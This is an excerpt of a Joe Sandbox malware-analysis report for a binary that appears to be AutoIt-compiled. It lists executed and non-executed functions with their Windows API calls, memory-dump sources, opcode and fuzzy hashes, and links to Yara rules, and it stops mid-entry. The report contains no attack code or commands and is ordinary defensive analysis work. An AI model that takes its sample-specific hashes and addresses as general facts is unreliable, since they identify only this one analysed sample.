LoadLibraryExW.KERNEL32(?,00000000,00000002,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4EFD

Part of subcall function 00FD4E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,01013CDE,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4E62
Part of subcall function 00FD4E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00FD4E74
Part of subcall function 00FD4E59: FreeLibrary.KERNEL32(00000000,?,?,01013CDE,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4E87

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: a20515a98b7c1e4946c9404c1175bad113af056837bbfcd19a457f904dd50e99
Instruction ID: 531c4ac09412a6fc11e8cc4abc51feda5b6f890c6eea477f5dfed4a20dac05b3
Opcode Fuzzy Hash: a20515a98b7c1e4946c9404c1175bad113af056837bbfcd19a457f904dd50e99
Instruction Fuzzy Hash: DC110A32600205ABDF14FF64DD16FAD77A6AF40B10F14442FF592AB2E1DE78AA05B750

Function 01008402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 01008440

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: d374f3d311a6b5af67ddea401336bcd465707ede16adf6be6bbead75dbd26a5f
Instruction ID: 88115d139422b21e92edd4a02dad9b110e91a9222586bb2933ccadbb71cc8f35
Opcode Fuzzy Hash: d374f3d311a6b5af67ddea401336bcd465707ede16adf6be6bbead75dbd26a5f
Instruction Fuzzy Hash: 8211487190410AAFDB06DF58E9409DE7BF9FF48300F01809AF848AB341DB31DA11CBA4

Function 01005000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 01004C7D: RtlAllocateHeap.NTDLL(00000008,00FD1129,00000000,?,01002E29,00000001,00000364,?,?,?,00FFF2DE,01003863,010A1444,?,00FEFDF5,?), ref: 01004CBE

_free.LIBCMT ref: 0100506C

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: 5e8dca7e150cf7d344b10f94ded27be0a59cbca9c17a02b67e705159b1b4137a
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 7E012B722043055BF323CE599C4499EFBECFB85270F25051DE1C4872C0EA306805CA74

Function 00FFE602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 2870e560871c4e9d6c1568b27c5cd85f9a547272a3a8b62ad37626ae1d7dc924
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: F6F02D32920E1C96D7333E658C04BBA33989F62330F100716F665D71F0DB74D401A9A5

Function 01004C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00FD1129,00000000,?,01002E29,00000001,00000364,?,?,?,00FFF2DE,01003863,010A1444,?,00FEFDF5,?), ref: 01004CBE

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 19164ea08e5f6952d95dc9055c021db33abc34fa1ce1c8905e8a35033fe88cd6
Instruction ID: 807cca69f80908dd42bc034b934ae2fbcc20a3f088263ea11cd351e962c9dfce
Opcode Fuzzy Hash: 19164ea08e5f6952d95dc9055c021db33abc34fa1ce1c8905e8a35033fe88cd6
Instruction Fuzzy Hash: CDF0B43160022C67FBA35E669C09F6B3BC8AF417A0F084161FB99EA1D4CB35D40046E8

Function 01003820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,010A1444,?,00FEFDF5,?,?,00FDA976,00000010,010A1440,00FD13FC,?,00FD13C6,?,00FD1129), ref: 01003852

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d871a61536783a69ec361397fd92ac5da58bf10246a05de0707c7bd82dfcde5d
Instruction ID: d5884f2b058cbf24406a722b06812c2019f863f25db3f4f51ab3928b72c925c2
Opcode Fuzzy Hash: d871a61536783a69ec361397fd92ac5da58bf10246a05de0707c7bd82dfcde5d
Instruction Fuzzy Hash: 77E065311017299EF7732A6A9C05BAB3A89BF426B0F0501E1FED59E5D1DB25EA0183F1

Function 00FD4F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,010A1418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00FD4F6D

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: e482138ec1420e9f8b8278e2ebf4c33047d9e7ea831bcbcfdfd1ef9c4175ab63
Instruction ID: 758da958ad098c2cfab47a6241142af78be3d9bcc26c12b3670cf7f4fd82b309
Opcode Fuzzy Hash: e482138ec1420e9f8b8278e2ebf4c33047d9e7ea831bcbcfdfd1ef9c4175ab63
Instruction Fuzzy Hash: 4FF03071505751CFDB359F64D490922BBF5AF14329318897FE1EA83630C731A844EF10

Function 01062A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 01062A66

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: c856cdf39ca7b12ef9c2e67eeaca041c0063808c20e46e21b8146a421c290593
Instruction ID: affb98328b986534776d9503bf9cb60df9cf008eaedc0534d7bab95f60ae8e8e
Opcode Fuzzy Hash: c856cdf39ca7b12ef9c2e67eeaca041c0063808c20e46e21b8146a421c290593
Instruction Fuzzy Hash: 84E02636350117ABD720EA30DCC08FE774CEF602907000436ECE6C6100DB34A99182E0

Function 00FD30F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 00FD314E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 4c5732a7c645a09f28f550ebd90c39b59c0aa9257ef2612cc3573750df0659cb
Instruction ID: 89f5f5636568150d5e51d16eeb1f525a110298a58a992f47109d80dcd56852a9
Opcode Fuzzy Hash: 4c5732a7c645a09f28f550ebd90c39b59c0aa9257ef2612cc3573750df0659cb
Instruction Fuzzy Hash: A4F0A7719003189FE762DF24D8457D67BBCAB01708F0000E5A2C896285DB795788CF41

Function 00FD2DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00FD2DC4

Part of subcall function 00FD6B57: _wcslen.LIBCMT ref: 00FD6B6A

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: f7adc9df84ddb6a63cea3d3a7f8b355fa40f5f813c1b0d66107d0914ac88fd9a
Instruction ID: 48ac6af07303ca716591873c3471a1a5e296cb743c86dd32b97bc22756cb9cfe
Opcode Fuzzy Hash: f7adc9df84ddb6a63cea3d3a7f8b355fa40f5f813c1b0d66107d0914ac88fd9a
Instruction Fuzzy Hash: EFE0CD726041245BC721A2589C05FDA77DDDFC8790F040076FD49D724CD974AD808650

Function 00FD2B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FD3837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00FD3908

Part of subcall function 00FDD730: GetInputState.USER32 ref: 00FDD807

SetCurrentDirectoryW.KERNEL32(?), ref: 00FD2B6B

Part of subcall function 00FD30F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 00FD314E

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: e4d7b751816abe19691b5be2a4a5cd9eaa75b5a15115e5dfe3350641e385efa6
Instruction ID: 79fa7a0aa32b944c6d4863f1f671b04a94e653d01f646aca1beb22feb4051445
Opcode Fuzzy Hash: e4d7b751816abe19691b5be2a4a5cd9eaa75b5a15115e5dfe3350641e385efa6
Instruction Fuzzy Hash: 7FE0263270420402CA04BB74AC1246DB74B9BD1351F88053FF28283353CE7D4A456352

Function 0101039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,01010704,?,?,00000000,?,01010704,00000000,0000000C), ref: 010103B7

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 4e3a0b452ff7ccdb9f1555dc64106fe0bf60d66870a336a6f127f754342134f5
Instruction ID: d6fb79117f2053f2d6affabce41156853937d56249e1fc94309cdac6f161e810
Opcode Fuzzy Hash: 4e3a0b452ff7ccdb9f1555dc64106fe0bf60d66870a336a6f127f754342134f5
Instruction Fuzzy Hash: 50D06C3204010DFBDF128F84DD06EDA3BAAFB48714F014000FE5856020C736E821AB90

Function 00FD1CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00FD1CBC

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 3303c62dd2069b02f761bdd6db85cdfd646d25b76e500510769427ee9d2f6209
Instruction ID: 8b1f48b39f199d850f188b09c2e32a8d2087fcdb776cedf2e376f5d70f0e50e9
Opcode Fuzzy Hash: 3303c62dd2069b02f761bdd6db85cdfd646d25b76e500510769427ee9d2f6209
Instruction Fuzzy Hash: EFC09B36280704DFF2344A90BD4AF107755B348B10F448001F6C9555D7C3B71450DB50

Non-executed Functions

Function 01069576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00FE9BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0106961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0106965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0106969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 010696C9
SendMessageW.USER32 ref: 010696F2
GetKeyState.USER32(00000011), ref: 0106978B
GetKeyState.USER32(00000009), ref: 01069798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 010697AE
GetKeyState.USER32(00000010), ref: 010697B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 010697E9
SendMessageW.USER32 ref: 01069810
SendMessageW.USER32(?,00001030,?,01067E95), ref: 01069918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0106992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 01069941
SetCapture.USER32(?), ref: 0106994A
ClientToScreen.USER32(?,?), ref: 010699AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 010699BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 010699D6
ReleaseCapture.USER32 ref: 010699E1
GetCursorPos.USER32(?), ref: 01069A19
ScreenToClient.USER32(?,?), ref: 01069A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 01069A80
SendMessageW.USER32 ref: 01069AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 01069AEB
SendMessageW.USER32 ref: 01069B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 01069B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 01069B4A
GetCursorPos.USER32(?), ref: 01069B68
ScreenToClient.USER32(?,?), ref: 01069B75
GetParent.USER32(?), ref: 01069B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 01069BFA
SendMessageW.USER32 ref: 01069C2B
ClientToScreen.USER32(?,?), ref: 01069C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 01069CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 01069CDE
SendMessageW.USER32 ref: 01069D01
ClientToScreen.USER32(?,?), ref: 01069D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 01069D82

Part of subcall function 00FE9944: GetWindowLongW.USER32(?,000000EB), ref: 00FE9952

GetWindowLongW.USER32(?,000000F0), ref: 01069E05

Strings

@GUI_DRAGID, xrefs: 0106997D
F, xrefs: 01069D07

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: b96ec53b55a4f4320d20e15ca76bdc34b4ee4f318efdc167f5292175f96d7965
Instruction ID: bc1c309c7c99d1527d03c21140360d2bbec3afd5f6d5a80b944bc77a6a8719f8
Opcode Fuzzy Hash: b96ec53b55a4f4320d20e15ca76bdc34b4ee4f318efdc167f5292175f96d7965
Instruction Fuzzy Hash: 75428B34204341AFEB25CF28C944AAABBE9FF4D318F040659F6D9876A1D776E850CF51

Function 01064873 Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 566windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000408,00000000,00000000), ref: 010648F3
SendMessageW.USER32(00000000,00000188,00000000,00000000), ref: 01064908
SendMessageW.USER32(00000000,0000018A,00000000,00000000), ref: 01064927
SendMessageW.USER32(?,00000148,00000000,00000000), ref: 0106494B
SendMessageW.USER32(00000000,00000147,00000000,00000000), ref: 0106495C
SendMessageW.USER32(00000000,00000149,00000000,00000000), ref: 0106497B
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 010649AE
SendMessageW.USER32(00000000,0000133C,00000000,?), ref: 010649D4
SendMessageW.USER32(00000000,0000110A,00000009,00000000), ref: 01064A0F
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 01064A56
SendMessageW.USER32(00000000,0000113E,00000000,00000004), ref: 01064A7E
IsMenu.USER32(?), ref: 01064A97
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 01064AF2
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 01064B20
GetWindowLongW.USER32(?,000000F0), ref: 01064B94
SendMessageW.USER32(?,0000113E,00000000,00000008), ref: 01064BE3
SendMessageW.USER32(00000000,00001001,00000000,?), ref: 01064C82
wsprintfW.USER32 ref: 01064CAE
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 01064CC9
GetWindowTextW.USER32(?,00000000,00000001), ref: 01064CF1
SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 01064D13
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 01064D33
GetWindowTextW.USER32(?,00000000,00000001), ref: 01064D5A

Strings

%d/%02d/%02d, xrefs: 01064CA8

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

API ID: MessageSend$MenuWindow$InfoItemText$Longwsprintf
String ID: %d/%02d/%02d
API String ID: 4054740463-328681919
Opcode ID: c0e918b56b63d10669a3e9b76002024f5fe6740f88f7d3aae8bbe83989c5311e
Instruction ID: 57353563de1f34de50c8b69ba6af0bedbc1eb7c933b3c4bc2ba3d66ba378ea6d
Opcode Fuzzy Hash: c0e918b56b63d10669a3e9b76002024f5fe6740f88f7d3aae8bbe83989c5311e
Instruction Fuzzy Hash: 56122331600244ABFB259F28DC49FAE7BF8EF49710F044169F695DB2E1DB78A940CB50

Function 00FEF98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 00FEF998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0102F474
IsIconic.USER32(00000000), ref: 0102F47D
ShowWindow.USER32(00000000,00000009), ref: 0102F48A
SetForegroundWindow.USER32(00000000), ref: 0102F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0102F4AA
GetCurrentThreadId.KERNEL32 ref: 0102F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0102F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0102F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0102F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0102F4DE
SetForegroundWindow.USER32(00000000), ref: 0102F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0102F4F6
keybd_event.USER32(00000012,00000000), ref: 0102F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0102F50B
keybd_event.USER32(00000012,00000000), ref: 0102F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0102F519
keybd_event.USER32(00000012,00000000), ref: 0102F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0102F528
keybd_event.USER32(00000012,00000000), ref: 0102F52D
SetForegroundWindow.USER32(00000000), ref: 0102F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0102F557

Strings

Shell_TrayWnd, xrefs: 0102F46F

Memory Dump Source

Source File: 00000006.00000002.1787080834.0000000000FD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00FD0000, based on PE: true

Associated: 00000006.00000002.1786992228.0000000000FD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.000000000106C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1787665053.0000000001092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788302770.000000000109C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.1788635289.00000000010A4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_fd0000_MH7IABE9LKZLA9Q4.jbxd

Similarity

